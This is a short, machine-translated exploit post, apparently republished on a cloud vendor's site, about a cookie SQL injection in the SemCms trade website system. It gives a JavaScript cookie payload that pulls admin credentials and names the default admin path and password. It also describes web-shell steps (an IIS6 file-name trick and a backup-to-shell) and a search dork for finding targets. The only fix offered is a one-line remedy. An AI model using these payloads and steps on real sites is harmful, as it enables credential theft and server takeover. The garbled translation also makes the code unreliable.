SemCms Foreign Trade website management system cookie injection vulnerability and repair

Source: Internet
Author: User
Tags custom name

By Mr. DzY from www.0855. TV
It seems that someone has discovered the background cookie spoofing vulnerability, but it seems that the official website has been fixed.
Nothing left to worry about. After reading it, we found that no cookie submitted data is filtered and cookie injection is supported.

SemCms is an open source foreign trade enterprise website management system, mainly used for foreign trade enterprises, compatible with mainstream browsers such as IE, Firefox, Chrome, Safari, and Opera. SemCms is written in vbscript language and runs in combination with iis.

Default background: clkj_admin/

Default Account/password: 1 (many sites have not changed .. Khan !!)

Vulnerability line:
Only the data submitted by get and post is filtered, and cookie injection is not performed on the data submitted by cookie.


EXP:
Javascript: alert (document. cookie = "pid =" + escape ("332 and 1 = 2 union select, 5, clkj_admin, clkj_password, 16,17 from clkj_admin "));

Test:
Asp? Pid = 322 "> www.2cto.com/new/en/P_view.asp? Pid = 1, 322


Possible exploitation methods:
1. You can customize the image name in the uploaded image, and enter Mr. DzY. asp; 1 in the custom name (provided that IIS6.0 is used ).
2. on the right of the management background, choose inquiry management> data backup> password (management password)> shell backup.

Keywords:
Inurl: P_view.asp? Pid =

Solution: filter the submitted cookie data and specify the method for obtaining the request object.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.